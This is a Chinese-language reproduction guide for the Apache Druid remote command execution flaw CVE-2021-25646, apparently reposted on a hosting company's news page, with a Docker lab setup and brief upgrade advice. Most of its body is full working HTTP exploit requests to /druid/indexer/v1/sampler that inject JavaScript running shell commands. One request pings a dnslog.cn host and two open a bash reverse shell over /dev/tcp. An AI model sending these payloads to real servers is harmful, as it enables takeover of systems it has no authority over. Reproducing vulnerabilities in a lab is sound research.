Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

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Apache Druid 命令执行漏洞（CVE-2021-25646）

一、漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中，默认已被禁用。但是，在Druid 0.20.0及更低版本中，经过身份验证的用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码，控制服务器。

二、影响版本

Apache Druid < 0.20.1

三、漏洞环境&漏洞复现

Docker环境：

dockerpull fokkodriesprong/docker-druid dockerrun --rm -i -p 8888:8888 fokkodriesprong/docker-druid

启动访问：

漏洞复现：

POC:

POST /druid/indexer/v1/sampler HTTP/1.1  Host: ip:prot  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0  Accept: application/json, text/plain, */*  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  Content-Type: application/json  Content-Length: 1045  Connection: close  {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

1、DNSlog:

DNS记录：

具体数据包：

POST /druid/indexer/v1/sampler HTTP/1.1  Host: 127.0.0.1  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0  Accept: application/json, text/plain, */*  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  Content-Type: application/json  Content-Length: 1018  Connection: close  {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping gpg7qd.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

2、反弹shell操作

具体数据包：

POST /druid/indexer/v1/sampler HTTP/1.1  Host: ip:prot  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0  Accept: application/json, text/plain, */*  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  Content-Type: application/json  Content-Length: 1045  Connection: close  {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

简单的反弹脚本：

四、安全建议

建议广大用户及时更新Apache Druid，下载链接为：

https://druid.apache.org/downloads.html

https://github.com/apache/druid/releases/tag/druid-0.20.1

以上就是Apache Druid 命令执行漏洞CVE-2021-25646该如何复现，小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注高防服务器网行业资讯频道。

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